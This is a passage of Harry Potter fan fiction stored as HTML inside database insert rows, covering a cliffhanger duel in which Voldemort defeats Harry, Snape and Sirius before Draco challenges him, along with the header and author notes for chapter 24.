Sirius.</p>\n\n<p>Harry frowned.&nbsp; &#8220;Number 5?&nbsp; There&#8217;s no rule number 5.&#8221;</p>\n\n<p>&#8220;Oh yes there is: Never give up.&#8221; said Sirius with a grin.&nbsp; &#8220;Now lets go.&#8221;</p>\n\n<p>They nodded to each other and followed Yasmin through the archway.</p>\n\n<p>They found themselves on a rock bridge that led over what appeared to be a bottomless pit.&nbsp; From the darkness of the wide pit occasional bursts of fire gushed upward with the occasional echo of a roar.&nbsp; Harry and Sirius immediately recognized what was causing them.</p>\n\n<p>&#8220;Dragons,&#8221; said Sirius.&nbsp; &#8220;They&#8217;ve probably been utilizing their fire as a power source for this lair.&#8221;</p>\n\n<p>The bridge led to a large arena that was simply hovering in midair by magic in the middle of the pit.&nbsp; It was completely walled off though the bridge led to a large double door that seemed to be made out of pure steel.&nbsp; Yasmin pushed the door and it opened with an echoing creak.&nbsp; Yasmin led Harry and Sirius inside of the arena to come face to face with Voldemort and Horace.</p>\n\n<p>&#8220;Welcome Harry, to my Battle Arena,&#8221; said Voldemort with a laugh.&nbsp; &#8220;I trust you have enjoyed my welcoming party.&#8221;</p>\n\n<p>&#8220;If by welcoming party you&#8217;re referring to the Elite Ten, I trust that my actually arriving here should speak volumes,&#8221; said Harry.</p>\n\n<p>Voldemort laughed.&nbsp; &#8220;So it does.&nbsp; After this I must remember to select a new Elite Ten.&nbsp; Still, it certainly appears that they&#8217;ve at least done their job,&#8221; he said as he observed Harry&#8217;s injuries carefully.</p>\n\n<p>&#8220;I&#8217;m not injured to the point where I can&#8217;t take you on,&#8221; snapped Harry.&nbsp; &#8220;Lets finish this Voldemort.&nbsp; Lets finish what you started 16 years ago, when you killed my parents.&nbsp; It&#8217;s going to end today, right here, right now!&#8221;</p>\n\n<p>Voldemort laughed once again.&nbsp; &#8220;My thoughts exactly Potter!&#8221;&nbsp; He started stepping toward Harry but Yasmin stepped up right in front of him.</p>\n\n<p>&#8220;Tom, I know this is very important to you,&#8221; she said.&nbsp; &#8220;But please, I must ask that you be careful.&nbsp; I do not...&#8221; Yasmin was abruptly interrupted when the Dark Lord pulled her into a passionate, bruising kiss.&nbsp; Yasmin lost herself in the kiss and started kissing him back before Voldemort pulled away.</p>\n\n<p>&#8220;I will finish him in 15 minutes,&#8221; said Voldemort.&nbsp; He walked toward Harry, leaving a flushed Yasmin behind.</p>\n\n<p>Harry was also about to step forward when Sirius grabbed his shoulder.&nbsp; &#8220;You sure about this?&#8221; he asked.</p>\n\n<p>&#8220;Sirius, I know that I&#8217;m not the only one fighting this war.&nbsp; But I want to be the one to fight this duel.&nbsp; It&#8217;s always been me and now it has to be me.&nbsp; This is something I have to do Sirius: for everybody&#8217;s sake, for my parents&#8217; sake, for Hermione&#8217;s sake.&#8221;&nbsp; Harry&#8217;s green eyes flashed with determination.&nbsp; Sirius didn&#8217;t say anything, only nodded and let Harry step toward the waiting Dark Lord.&nbsp; For a moment that seemed to stretch on toward eternity, the two glared at each other.</p>\n\n<p>It was Harry who made the first move.&nbsp; Harry made a quick dash to his right and made a charge at Voldemort from his left.&nbsp; Harry yelled <i>&#8220;Magicus Ensis!&#8221;</i> sending forth his green blade from his wand.&nbsp; Harry made one sideways slash at Voldemort but the Dark Lord simply dodged the blade by taking a back step.&nbsp; Harry slashed diagonally which Voldemort ducked.&nbsp; Undaunted, Harry thrust his blade.&nbsp; Voldemort too said, <i>&#8220;Magicus Ensis,&#8221;</i> creating his own scarlet blade, which blocked Harry&#8217;s blade.&nbsp; While most spells would&#8217;ve resulted in the glowing threads of prior incantati between the brother wands, the magical blades only released golden sparks with each hit, just as Dumbledore had told Harry.</p>\n\n<p>Harry slashed twice more at Voldemort.&nbsp; Voldemort grinned and blocked each blow.&nbsp; He then slashed at Harry himself which, Harry easily blocked.&nbsp; Just as the two blades connected however Voldemort exclaimed, <i>&#8220;Magicus Ensis Inflamarrae!&#8221;</i>&nbsp; To Harry&#8217;s utter shock, Voldemort&#8217;s blade suddenly burst into flames.</p>\n\n<p>&#8220;What?&#8221;&nbsp; Harry rolled away sideways from the sudden burst of searing heat.&nbsp; &#8220;Bloody Hell,&#8221; he muttered as he observed the Dark Lord&#8217;s blade of fire.</p>\n\n<p>&#8220;I don&#8217;t believe it,&#8221; said Sirius.&nbsp; &#8220;The sheer amount of magical power needed to sustain a blade of fire should be too overwhelming, even for Voldemort.&#8221;</p>\n\n<p>&#8220;Really now Black,&#8221; said Voldemort.&nbsp; &#8220;I would&#8217;ve thought that you would&#8217;ve long learned that the regular laws of magic don&#8217;t apply to me.&#8221;</p>\n\n<p>&#8220;I wouldn&#8217;t be too sure,&#8221; said Harry.&nbsp; &#8220;If the rules aren&#8217;t apparently applying to you, that can only mean that you&#8217;re bending some other rule to make it work.&nbsp; And I&#8217;m going to find out what!&#8221;</p>\n\n<p>&#8220;Humph, I&#8217;d like to see you try,&#8221; smirked Voldemort.&nbsp; The Dark Lord slashed at Harry once more, the flames searing forth.&nbsp; Just as their blades connected however, Harry yelled, <i>&#8220;Exorcise!&#8221;</i>&nbsp; To the Dark Lord&#8217;s surprise, the flames disappeared. Harry took advantage of the Voldemort&#8217;s momentary distraction to slash at him, but he couldn&#8217;t make a good enough blow.</p>\n\n<p>&#8220;He quelled the flames?&#8221; exclaimed Yasmin.</p>\n\n<p>&#8220;How did he do that?&#8221; shouted Horace.&nbsp; &#8220;No one has ever been able to quell the Master&#8217;s flames!&#8221;</p>\n\n<p>&#8220;It was surprisingly easy,&#8221; said Harry.&nbsp; &#8220;Anybody with an OWL level education should know that a magical blade of fire can&#8217;t be sustained by one&#8217;s own magic power.&nbsp; Therefore, logic dictates that the only way you could possibly sustain a fiery blade would be if you&#8217;re using the magical power of other sources.&#8221;&nbsp; <i>&#8216;Thanks for teaching me about logic, Hermione,&#8217;</i> he thought.&nbsp; &#8220;When I came close to the fiery blade, I felt an icy cold draught similar to the feeling of being touched by a ghost, despite the searing heat of your blade.&nbsp; That was the key to figuring out what that blade of yours really is.&#8221;</p>\n\n<p>Sirius gulped at Harry&#8217;s serious tone.&nbsp; &#8220;And, what is that?&#8221; he asked.</p>\n\n<p>&#8220;Souls,&#8221; said Harry.&nbsp; &#8220;You&#8217;re using the souls of the hundreds of people you&#8217;ve killed with that abominable wand of yours.&nbsp; You&#8217;ve enslaved your victims, not even granting them the freedom of death just to power your flaming blade!&#8221;</p>\n\n<p><i>&#8216;Enslaved Souls?&#8217;</i> thought Sirius.&nbsp; <i>&#8216;I think I&#8217;m going to be sick.&#8217;</i></p>\n\n<p>Voldemort laughed.&nbsp; &#8220;Most impressive Harry.&nbsp; I believe you&#8217;ve been spending much time with that mudblood girlfriend of yours.&#8221;&nbsp; He grinned at Harry in a condescending way.&nbsp; &#8220;You are quite correct Potter, my flames are powered by the souls of the many of I have killed with this wand.&nbsp; So of course your exorcising spell dispelled some of the souls in my wand, quelling my flames.&nbsp; But really, I must take some offense to your referring to my wand as &#8216;abominable&#8217;.&nbsp; After all, your wand and my wand are brother wands.&#8221;</p>\n\n<p>&#8220;Well, get ready to have your enslaved souls liberated!&#8221; hissed Harry.&nbsp; He charged at Voldemort, wielding his blade.</p>\n\n<p>Voldemort created his scarlet blade rather than his fiery one and deflected Harry&#8217;s slash.&nbsp; Not missing a beat, Harry shouted, <i>&#8220;Expelliarmus!&#8221;</i>&nbsp; Voldemort however merely deflected Harry&#8217;s disarmer with a swipe of his wand.</p>\n\n<p>Before Harry had a chance to react, Voldemort shouted, <i>&#8220;Vampirus!&#8221;</i> creating a spectral pair of fangs, which promptly sunk into Harry&#8217;s left shoulder.&nbsp; Harry shrieked in pain as he clutched his bleeding shoulder and sank to the ground a little way away from Voldemort.</p>\n\n<p>&#8220;I&#8217;ve already observed your disarmer when you used it against Century at Graypine, amongst other incidents.&nbsp; You rely on it far too much,&#8221; said Voldemort.&nbsp; &#8220;The disarmer is a spell for the weak, not worthy of such high-class wizards such as ourselves.&nbsp; Your reluctance to achieve the power you have a right to, has always been your weakness Potter.&nbsp; After all, <i>there is no good or evil, only power, and those too weak to take it.&nbsp; The strong are fated to take power while the weak are fated to be devoured by the strong.</i>&#8221;</p>\n\n<p>Harry started.&nbsp; &#8220;Those words.&nbsp; Those are the words Seth said.&#8221;</p>\n\n<p>&#8220;Of course, I&#8217;m the one who taught him that simple truth,&#8221; said Voldemort.&nbsp; &#8220;Seth, as well as Death Eaters and Elite Ten were too weak to destroy you: it would&#8217;ve been better off if they were killed.&nbsp; Still, they had their uses: they were able to deal sufficient damage to you to make it easier for me to take you down.&nbsp; Since I am the most powerful of all, it is only natural that I take control of this world some day.&#8221;</p>\n\n<p>&#8220;So that&#8217;s your reasoning?&#8221; demanded Harry, anger coursing through him.&nbsp; &#8220;That just because you&#8217;re oh so powerful you can step all over the lives of those weaker than you?&#8221;</p>\n\n<p>&#8220;I never said it was my &#8216;reasoning&#8217;,&#8221; said Voldemort.&nbsp; &#8220;Survival of the fittest is the simple rule of nature.&#8221;</p>\n\n<p>&#8220;Rule of nature or not, it&#8217;s still wrong!&#8221; yelled Harry, rising to his feet again.</p>\n\n<p>&#8220;I&#8217;m not here to ask for your opinion Potter,&#8221; said Voldemort.&nbsp; &#8220;Can&#8217;t deal with it, fine by me.&nbsp; But if you do plan on continuing to stand in my way, I will show which of us is truly the more powerful one.&#8221;</p>\n\n<p>Harry literally growled and charged at Voldemort wielding his magical blade, nearly blinded by anger.&nbsp; Voldemort had no problem dodging each one of Harry&#8217;s slashes, as Harry wasn&#8217;t exactly thinking clearly.&nbsp; The Dark Lord than fired a particular curse at Harry that Harry didn&#8217;t recognize, nor was he willing to find out.&nbsp; Shouting <i>&#8220;Stupefy!&#8221;</i> Harry&#8217;s stunner connected with Voldemort&#8217;s curse, resulting in the threads of magic to connect in the golden spell of priori incantati.&nbsp; Not willing to face the forms of his victims, Voldemort broke the connection.</p>\n\n<p>Harry didn&#8217;t miss his chance.&nbsp; Leaping forward, Harry slashed forth with his blade.&nbsp; Voldemort barely managed to get out of the way as Harry&#8217;s blade slashed into his robes.&nbsp; Had Harry been in his right mind, he would&#8217;ve backed off a little and regained his bearings, but since he was still driven by rage he continued recklessly slashing at his opponent.&nbsp; As a result, he was completely vulnerable as Voldemort suddenly grabbed Harry&#8217;s face.</p>\n\n<p>Harry yelped as pain shot through his scar with direct contact to Voldemort.&nbsp; Voldemort lifted Harry up into the air, leaving him hanging by his face.</p>\n\n<p>&#8220;Harry!&#8221; yelled Sirius.&nbsp; He would&#8217;ve leaped out to help his godson had Harry not glared at him through Voldemort&#8217;s fingers, telling Sirius to heed the First rule of Wizard Dueling and stay put.</p>\n\n<p>&#8220;Brilliant Potter, absolutely brilliant,&#8221; said Voldemort.&nbsp; &#8220;But perhaps, you should be displined a little so that you learn to fight with a cool head.&#8221;&nbsp; He pointed his wand at Harry&#8217;s face.</p>\n\n<p>Harry knew Voldemort wouldn&#8217;t use the killing curse and risk hitting his own hand at such close proximity, but the alternative couldn&#8217;t be better.&nbsp; <i>&#8216;Uh-oh,&#8217;</i> he thought.</p>\n\n<p><i>&#8220;Crucio!&#8221;</i>&nbsp; Harry felt the excruciating pain of the Cruciatus Curse rip through his body as a terrifying scream was let loose from his lips, so loud that not even Voldemort&#8217;s hand on his face could muffle them.&nbsp; Finally, Voldemort released his grip on Harry&#8217;s face and let him drop to the floor.&nbsp; He hit his head on the ground, the curse still rippling through him.&nbsp; Voldemort finally removed the curse but Harry remained lifeless on the floor.</p>\n\n<p>&#8220;Harry!&nbsp; No!&#8221; screamed Sirius.&nbsp; &#8220;Get up Harry!&nbsp; You have to get up!&nbsp; You can&#8217;t fall now!&#8221;</p>\n\n<p>&#8220;Oh but he has, Black,&#8221; snarled Horace.&nbsp; &#8220;Harry Potter is fallen.&nbsp; He has been defeated by our Lord&#8217;s might.&#8221;&nbsp; While he said this, Horace was also thinking, <i>&#8216;How foolish I was, to think that the Dark Lord would require my help.&nbsp; I should&#8217;ve trusted in his abilities more.&nbsp; None can stand before my Lord.&#8217;</i></p>\n\n<p>&#8220;7 minutes, 49 seconds,&#8221; muttered Yasmin while examining a handheld watch.&nbsp; &#8220;I guess there really was nothing to worry about.&#8221;&nbsp; She let out a breath of relief.</p>\n\n<p>Voldemort was looking over Harry&#8217;s lifeless form, a look of contempt and satisfaction on his face.&nbsp; &#8220;Thus perishes Harry Potter,&#8221; he said.&nbsp; He turned away from Harry and started walking toward Horace and Yasmin.</p>\n\n<p>Suddenly, a familiar voice yelled, &#8220;Its that arrogance you display in turning your back on your enemy that has always been a weakness of yours!&#8221;</p>\n\n<p>&#8220;What?&nbsp; Snape?&#8221; explained Sirius just as the doors to the arena burst forth with an explosion and none other than Severus Snape emerged from the explosion, charging straight for the Dark Lord.</p>\n\n<p>&#8220;Lord Voldemort, your head is mine!&#8221;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>A/N I love cliffhangers.&nbsp; As far as I&#8217;m concerned cliffhangers are what get people to come back and continue reading your fic.&nbsp; OK, to be more specific, I love using cliffhangers when I myself am writing the story, where I know what happens next and can just sit back and laugh as my readers agonize over it.&nbsp; Its not as enjoyable when it&#8217;s a cliffhanger in a fic I&#8217;m reading rather than writing and I have to agonize over what happens next myself.&nbsp; Next: Snape, Sirius, and Draco.</p> '),
	(33, 24, ' <p><b>Title:</b> Different Paths (24)<br>\n\n\n<b>Author name:</b>\n\n<a href="http://www.fictionalley.org/fictionalleypark/forums/member.php?action=getinfo&userid=1952">E. C. R. Potter</a><br>\n\n\n<b>Author email:</b>\n\n<a href="mailto:ecrpotter@hotmail.com">ecrpotter@hotmail.com</a><br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Pre-OotP.&nbsp; Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author Notes: </b>I was sorting hoping I would have this fic done by now.&nbsp; Well I was close, it is afterall on the verge of ending.&nbsp; Still, I want to start devoting a little more time to writing that Harry Potter/Wizard of Oz Cross I&#8217;m working on right now.&nbsp; Plus, I&#8217;ve got a blasted good plot bunny for a multi-chapter Ron/Luna fic, which I really think I could make something out of.&nbsp; So keep your fingers crossed for more writing from yours truly.<b>\n\n</b></p>\n\n<p><b></b></p>\n\n<p><b>Chapter 24: Duel against the Dark Lord ~ Half Time</b></p>\n\n<p>&nbsp;Snape&#8217;s charge came so suddenly that absolutely no one had any time to react, not even Voldemort.&nbsp; There was a violet curse on the very tip of Snape&#8217;s wand that Sirius didn&#8217;t recognize, though it was undeniably lethal.&nbsp; And that curse made direct contact with Voldemort&#8217;s forehead.</p>\n\n<p>&#8220;Ha!&nbsp; Direct Hit!&#8221; exclaimed Snape.&nbsp; However...</p>\n\n<p><i>&#8220;Magicus Ensis!&#8221;</i>&nbsp; Snape buckled as Voldemort&#8217;s scarlet magical blade slashed at Snape&#8217;s legs.&nbsp; Though Snape didn&#8217;t let any pain show on his face, it was clear just how painful the slash was since Voldemort had just added to the already existing wounds on Snape&#8217;s thighs courtesy of Grindelwald.</p>\n\n<p>&#8220;Underhanded, sneaky, and downright malicious, Severus,&#8221; said Voldemort.&nbsp; &#8220;What do you know?&nbsp; I&#8217;m proud of you.&nbsp; Wasn&#8217;t I the one who taught you those underhanded tactics?&#8221;</p>\n\n<p>Snape said nothing.&nbsp; Voldemort glanced down at the wounds on his legs.&nbsp; &#8220;I see Grindelwald&#8217;s left his mark on you.&nbsp; Your charge was somewhat slower than what I usually expect of you.&nbsp; I assume the reason why you used Potter as a decoy like that was because Grindelwald injured you a little more than you were hoping for.&#8221;</p>\n\n<p>Sirius looked absolutely furious at the idea of Snape using Harry as a decoy but did nothing.&nbsp; While he was constantly on the edge while Harry was dueling, he wasn&#8217;t as keen on breaking the Fundamental Rules for Snape&#8217;s sake.&nbsp; Snape still said nothing but his silence was confirmation enough for Voldemort.</p>\n\n<p>The Dark Lord laughed.&nbsp; &#8220;Well Severus, whether you were injured or not, I doubt your little &#8216;sniper&#8217; attack would&#8217;ve worked anyway as I was fully aware of what you were planning.&nbsp; Oh and as for why your attack had no effect on me...&#8221; Voldemort tapped on an invisible shield charm that was engulfing his head, &#8220;ever since I was defeated by Potter when he was just a baby, I&#8217;ve learned to take extra precautions.&#8221;</p>\n\n<p>&#8220;Well not even those precautions of yours are going to help you this time!&#8221; sneered Snape.&nbsp; He threw a vial containing a green potion at Voldemort&#8217;s feet and a bottle containing a red potion at his own feet, which rocketed him into the air.&nbsp; The potion at Voldemort&#8217;s feet caused several large, thorny vines to grow out of the ground at an alarming rate.&nbsp; They entangled around the lower portion of the Dark Lord&#8217;s body, attempting to root him in place.</p>\n\n<p>Voldemort was unfazed.&nbsp; Saying, <i>&#8220;Magicus Ensis Inflammarae!&#8221;</i> Voldemort let forth his fiery blade with which he burned and hacked away at the vines.&nbsp; Snape meanwhile was now raining different potions onto Voldemort from above, all of which were deflected by the shield around his head.</p>\n\n<p>&#8220;Surely you aren&#8217;t making such an elementary mistake,&#8221; said Voldemort.&nbsp; He quickly learned that he had spoken too fast when the shield around his head started flickering.&nbsp; The shield all but disappeared when Snape came falling toward his head, ready to curse Voldemort.&nbsp; Voldemort pointed his wand at Snape and said, <i>&#8220;Reducto!&#8221;</i> blasting Snape away.</p>\n\n<p>&#8220;It really is a pity Severus,&#8221; said Voldemort.&nbsp; &#8220;I always thought you were a most promising Death Eater.&nbsp; Those attacks just now really say something; you went all out with the explicit purpose of attempting to kill me.&nbsp; Fruitless of course, but that merciless quality of yours is something I&#8217;ve always liked about you.&#8221;</p>\n\n<p>&#8220;Your point?&#8221; said Snape as he got back onto his feet.</p>\n\n<p>&#8220;I&#8217;m offering you a position with the Death Eaters again,&#8221; said Voldemort.&nbsp; &#8220;The old faults can be forgotten.&nbsp; I am afterall in need of a new Elite Ten.&#8221;&nbsp; He offered his hand to Snape.&nbsp; &#8220;So, what do you say?&#8221;</p>\n\n<p>For a brief second it looked like Snape was considering the offer, which made Sirius&#8217;s blood boil.&nbsp; However, Snape smirked and said, &#8220;That arrogance of yours in presuming things is going to cost you your life!&#8221;&nbsp; He suddenly pulled out the black &#8220;Harpoon Potion&#8221; that he had used to kill Grindelwald and blasted his magical powers toward Voldemort at point blank range.&nbsp; However...</p>\n\n<p><i>&#8220;Magicus Ensis!&#8221;</i>&nbsp; Voldemort&#8217;s scarlet blade stabbed right through Snape&#8217;s shoulder, as the Dark Lord had easily dodged the Potion Master&#8217;s &#8220;Harpoon Potion&#8221;.&nbsp; Snape&#8217;s face contorted into a grimace of extreme pain.</p>\n\n<p>&#8220;Arrogance?&#8221; said the Dark Lord with a smirk.&nbsp; &#8220;Such a harsh word.&nbsp; I believe the correct term would be &#8216;absolute confidence&#8217;!&nbsp; <i>Crucio!</i>&#8221;&nbsp; Snape was blasted away as the brunt of the Cruciatus Curse rippled right through the wound on his shoulder.&nbsp; He crumpled to the ground in a lifeless heap.</p>\n\n<p>&#8220;Well I guess you were a challenge enough,&#8221; said Voldemort.&nbsp; &#8220;I figure you are worthy of at least being mentioned when I rewrite history.&#8221;</p>\n\n<p>Sirius finally snapped.&nbsp; &#8220;You bastard!&#8221; he screamed, running straight at Voldemort.&nbsp; He rammed the full force of the Double-Neutral Spell into Voldemort&#8217;s now shield-less face; so powerful that the aftershock completely shattered the bones in Sirius&#8217;s right hand.</p>\n\n<p>To Sirius&#8217;s horror, Voldemort was completely unharmed.&nbsp; &#8220;You fool!&#8221; he hissed.&nbsp; &#8220;Next time, don&#8217;t get over your head and perhaps you&#8217;ll live a little longer Black!&#8221;&nbsp; Voldemort&#8217;s left fist suddenly curled up into a fist and struck him, to Sirius&#8217;s surprise, with the full force of the Double-Neutral Spell.&nbsp; Sirius was thrown back into the wall.&nbsp; He slid to the ground leaving the wall cracked.</p>\n\n<p>&#8220;Shit,&#8221; he muttered before falling unconscious.</p>\n\n<p>&#8220;Shit is what you are,&#8221; smirked the Dark Lord.</p>\n\n<p>Voldemort looked over the fallen forms Harry, Snape, and Sirius.&nbsp; Slowly but surely, he started laughing, until soon his hysterical laughter filled the arena with its sinister echoes.</p>\n\n<p><i>&#8216;Powerful!&#8217;</i> thought Horace, his face curled into a sinister grin.&nbsp; <i>&#8216;Powerful!&nbsp; Powerful!&nbsp; Powerful!&nbsp; Powerful!&nbsp; All powerful!&nbsp; I knew it!&nbsp; With Lord Voldemort&#8217;s power alone world domination is a reality!&#8217;</i></p>\n\n<p>Voldemort was still laughing when a voice suddenly piped up, &#8220;You know they may say laughter is the key to a long life but there&#8217;s no way laughing like that can really be healthy.&#8221;</p>\n\n<p>Voldemort, Yasmin, and Horace looked up to see none other than Draco Malfoy standing at the entranceway of the arena.&nbsp; &#8220;Well, well, well, I had quite forgotten,&#8221; said Voldemort, &#8220;I still have one more loser to take care of.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Back at the Leaky Cauldron, clean up was taking place.&nbsp; The authorities had carted off all the fallen Death Eaters and Elite Ten and the members of the Order of the Phoenix were rummaging through what remained of the pub.&nbsp; There was an overall feeling of relief and relaxation amongst the Order members, which was what was taxing Ron Wesley&#8217;s patience.</p>\n\n<p>&#8220;Dammit!&nbsp; What are we still doing here?&#8221; he yelled.&nbsp; &#8220;Why are we standing around looking like we just saved the world?&nbsp; We&#8217;ve got to go help Harry kick You-know-who&#8217;s arse!&#8221;</p>\n\n<p>&#8220;You&#8217;ve got to hand it to him,&#8221; muttered Ginny to Remus.&nbsp; &#8220;He&#8217;s probably the most beat up of all of us and he&#8217;s still ready for more.&#8221;</p>\n\n<p>&#8220;I guess he&#8217;s got the adrenaline of youth,&#8221; said Remus.</p>\n\n<p>Ron continued raving: &#8220;What are we just standing around for?&nbsp; Lets move!&nbsp; Move!&nbsp; Move!&#8221;</p>\n\n<p>&#8220;Patience Mr. Weasley,&#8221; said Dumbledore as he calmly sipped some tea.&nbsp; &#8220;There are times where you must simply learn to count your blessings and rest to recuperate.&nbsp; Otherwise you might end up burning yourself out.&#8221;</p>\n\n<p>Ron looked incredulous.&nbsp; &#8220;Burn out?&nbsp; Who said I was on the verge of burn out?&#8221;&nbsp; He took a few steps forward, only to fall on his face as he succumbed to his wounds and exhaustion.&nbsp; &#8220;Oooooh,&#8221; he groaned.&nbsp; &#8220;OK, maybe I need a break.&#8221;</p>\n\n<p>&#8220;That would be highly advisable Ronald,&#8221; said Dumbledore with a wink.&nbsp; As several Order members treated Ron, Dumbledore caught sight of Hermione.&nbsp; She was looking toward the Tower of London with a troubled expression on her face.</p>\n\n<p>&#8220;You are still worried about him, are you not?&#8221; asked Dumbledore.</p>\n\n<p>Hermione nodded.&nbsp; &#8220;I can&#8217;t help it,&#8221; she said.&nbsp; &#8220;You&#8217;re right professor, I do have absolute confidence in Harry, but there&#8217;s this constant voice of doubt in my head telling me that he&#8217;s not going to come back, or that I&#8217;m going to have to raise the baby by myself.&nbsp; It won&#8217;t shut up now matter how much I tell it too.&#8221;</p>\n\n<p>Dumbledore placed a hand on Hermione&#8217;s shoulder.&nbsp; &#8220;It is natural to feel worried and concerned for our loved ones,&#8221; he said.&nbsp; &#8220;But if it helps, let me tell you a secret about the Stellar Patronus.&nbsp; The spell Harry acquired is a spell borne of pure good and the will to survive.&nbsp; It has never been beaten before and those whom are arrogant enough to believe they could beat it will find their powers sucked up in a vacuum, powerless to protect themselves from the full onslaught of the Dark Magic Cleanser.&nbsp; So you see, Harry truly is in good hands.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;Loser, yes I believe that would be an accurate term,&#8221; sneered Horace.&nbsp; &#8220;Draco Malfoy, what are you doing here?&nbsp; What do you hope to accomplish.&nbsp; You have already been defeated and humiliated by Harry Potter.&nbsp; Do you truly think you could stand up against our master if Potter couldn&#8217;t?&#8221;</p>\n\n<p>&#8220;Wouldn&#8217;t hurt to try now would it?&#8221; snapped Draco.</p>\n\n<p>&#8220;Anybody is welcome to try,&#8221; said Voldemort, &#8220;although that would mean that your relatives would have to plan a funeral.&nbsp; The surviving ones that is.&#8221;</p>\n\n<p><i>&#8220;Magicus Ensis,&#8221;</i> said Draco, conjuring up his blue magical sword spell.</p>\n\n<p>Voldemort smirked.&nbsp; &#8220;So you really are planning on facing me.&nbsp; You who couldn&#8217;t even beat Potter!&nbsp; Ah, if only Lucius could see you now.&#8221;</p>\n\n<p>&#8220;It is because I lost to Harry Potter that I&#8217;m facing you,&#8221; said Draco.&nbsp; &#8220;And you&#8217;re fully aware that I could care less what Lucius Malfoy would think of me.&nbsp; Now, are we doing this or not?&#8221;</p>\n\n<p>Voldemort smirked again and conjured his own blade.&nbsp; &#8220;My lord,&#8221; said Yasmin worriedly, glancing at her watch.&nbsp; &#8220;The time...&#8221;</p>\n\n<p>&#8220;Don&#8217;t fret Yasmin,&#8221; said Voldemort.&nbsp; &#8220;I&#8217;ll take care of this in just a few more seconds.&nbsp; <i>Magicus Ensis.</i>&#8221;</p>\n\n<p>Draco and the Dark Lord slowly started circling one another.&nbsp; Draco twirled around his blade while Voldemort simply observed him, the smirk never leaving his face.</p>\n\n<p>&#8220;Curious,&#8221; said Voldemort.&nbsp; &#8220;Potter, Snape, and Black insisted on charging me and trying to defeated me with their best attacks and spells.&nbsp; You however appear to be taking your time.&nbsp; Why if I didn&#8217;t know any better, I&#8217;d say you were, oh I don&#8217;t know, hesitating?&#8221;</p>\n\n<p>Draco&#8217;s eye twitched a little.&nbsp; Wordlessly, he lunged at the Dark Lord, their blades crossing several times letting magical sparks fly.&nbsp; Voldemort appeared to be keener on observing Draco&#8217;s movements rather than defending himself or going on the offensive.</p>\n\n<p>&#8220;I just prefer to take things slow,&#8221; said Draco.</p>\n\n<p>&#8220;Perhaps so,&#8221; said the Dark Lord.&nbsp; &#8220;Every fighter has his own style, only fools would charge blindly into a fight.&nbsp; However, I&#8217;m thinking you&#8217;re being too slow, even for you.&#8221;</p>\n\n<p>Draco lunged once again.&nbsp; Voldemort easily deflected each of the blows then sent a minor curse at Draco.&nbsp; Draco dodged it by jumping to the side.</p>\n\n<p><i>&#8220;Praestigae Multiplico,&#8221;</i> said Draco, creating multiple illusions of himself.&nbsp; They started circling around the Dark Lord.</p>\n\n<p>Voldemort looked thoughtful before he said, <i>&#8220;Imperio!&#8221;</i>&nbsp; Draco was clearly caught off guard and his illusions disappeared as he fought off the Imperious Curse.</p>\n\n<p>&#8216;Voldemort grinned.&nbsp; &#8220;Very clever young Malfoy, but its not going to work on me.&nbsp; <i>Crucio!</i>&#8221;</p>\n\n<p>Draco dodged the Cruciatus Curse by propelling himself into the air, somersaulting and landing right behind Voldemort.</p>\n\n<p>&#8220;No!&nbsp; He&#8217;s got his back!&#8221; exclaimed Horace.</p>\n\n<p>&#8220;My Lord!&#8221; screamed Yasmin.</p>\n\n<p>Draco however did nothing.&nbsp; &#8220;Oh, what&#8217;s the matter, Draco?&#8221; said Voldemort, still facing away from Draco.&nbsp; &#8220;Why don&#8217;t you attack?&nbsp; I&#8217;ve got my back turned on you, when are you ever going to get another perfect chance like this?&#8221;</p>\n\n<p>Draco hesitated once more apparently thinking something over.&nbsp; Eventually however, he came to a decision and started spinning around shouting, <i>&#8220;Cyclonus Diffendo-Hex!&#8221;&nbsp; </i></p>\n\n<p>Draco&#8217;s spinning spell quickly engulfed Voldemort from the back.&nbsp; Voldemort however didn&#8217;t even use a spell to defend himself.&nbsp; Instead, all he did was strike downward with his wand, slapping Draco&#8217;s wand hand and knocking his wand out of it.&nbsp; Draco&#8217;s spell instantly dissipated.&nbsp; Draco stepped back clutching his hand as Voldemort stepped on Draco&#8217;s wand, snapping it in two.</p>\n\n<p>&#8220;Was that a Cyclonus-Diffendo spell?&nbsp; Pathetic,&#8221; sneered Voldemort.&nbsp; &#8220;Why I could barely recognize it.&nbsp; The spell, Lucius developed and you refined yourself.&nbsp; Such a sad legacy Lucius has left behind.&#8221;</p>\n\n<p>&#8220;I no longer care about my promise to Lucius,&#8221; said Draco.&nbsp; &#8220;Potter is the most powerful wizard of all, not you.&nbsp; A promise like the one I made to Lucius is meaningless next to Potter.&#8221;</p>\n\n<p>&#8220;Yet Potter has already fallen,&#8221; said Voldemort.&nbsp; Draco stiffened for a moment but held his ground; this was not missed by Voldemort.&nbsp; &#8220;Now wait a minute, that&#8217;s interesting.&nbsp; You&#8217;re hesitation, you&#8217;re Cyclonus Diffendo spell not being able to achieve its full power.&nbsp; Why of course, why didn&#8217;t I realize it?&nbsp; Your Dark powers were drained by Potter&#8217;s Dark Magic 